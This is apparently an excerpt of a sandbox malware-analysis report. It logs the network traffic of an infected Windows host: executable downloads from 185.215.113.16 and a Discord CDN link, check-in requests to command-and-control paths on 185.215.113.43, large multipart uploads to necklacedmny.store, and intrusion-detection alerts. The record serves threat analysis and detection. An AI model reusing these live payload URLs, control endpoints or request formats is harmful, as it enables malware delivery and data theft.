Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 19:37:07 GMTContent-Type: application/octet-streamContent-Length: 2127360Last-Modified: Tue, 29 Oct 2024 18:58:35 GMTConnection: keep-aliveETag: "6721305b-207600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 a0 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 72 00 00 04 00 00 7b 45 21 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2a 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 75 6f 74 67 6f 6d 61 00 d0 19 00 00 c0 58 00 00 c6 19 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 6a 75 6d 72 76 77 6e 00 10 00 00 00 90 72 00 00 04 00 00 00 50 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 72 00 00 22 00 00 00 54 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 19:37:09 GMTContent-Type: application/octet-streamContent-Length: 2127360Last-Modified: Tue, 29 Oct 2024 18:58:35 GMTConnection: keep-aliveETag: "6721305b-207600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 a0 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 72 00 00 04 00 00 7b 45 21 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2a 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 75 6f 74 67 6f 6d 61 00 d0 19 00 00 c0 58 00 00 c6 19 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 6a 75 6d 72 76 77 6e 00 10 00 00 00 90 72 00 00 04 00 00 00 50 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 72 00 00 22 00 00 00 54 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 19:37:16 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Tue, 29 Oct 2024 18:26:15 GMTConnection: keep-aliveETag: "672128c7-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 be 28 21 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 1b e2 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET /attachments/1286706039475015741/1300800513197211749/Set-up.exe?ex=67222862&is=6720d6e2&hm=d01a7bee1160eeac6493be73ac5a9fb5606137c43133be4b96f4d7c4370940c5& HTTP/1.1Host: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 34 36 30 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000460031&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 34 36 35 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000465031&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /soka/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 36 39 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001698001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 37 33 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001735001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Tue, 29 Oct 2024 18:26:38 GMTIf-None-Match: "672128de-2b7e00"
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 37 37 36 31 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001776101&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/wintoolsone64.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 34 33 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002431001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 46 41 31 34 31 43 41 46 44 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFFA141CAFDFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 65 30 3d 31 30 30 31 31 37 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e0=1001172001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 34 34 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002448001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 31 39 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001195001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 65 31 3d 31 30 30 32 34 34 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1002449001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Tue, 29 Oct 2024 18:58:21 GMTIf-None-Match: "6721304d-2cb800"
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 31 39 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001196001&unit=246122658369

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 162.159.129.233 162.159.129.233
Source: Joe Sandbox View	IP Address: 162.159.129.233 162.159.129.233

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:49873 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49981 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49983 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49986 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49991 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49997 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:50000 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50002 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50005 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50007 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50013 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50004 -> 162.159.129.233:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12849Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15081Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20406Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1221Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 584820Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 87Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12849Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15081Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20406Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1224Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 577779Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 87Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12849Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store
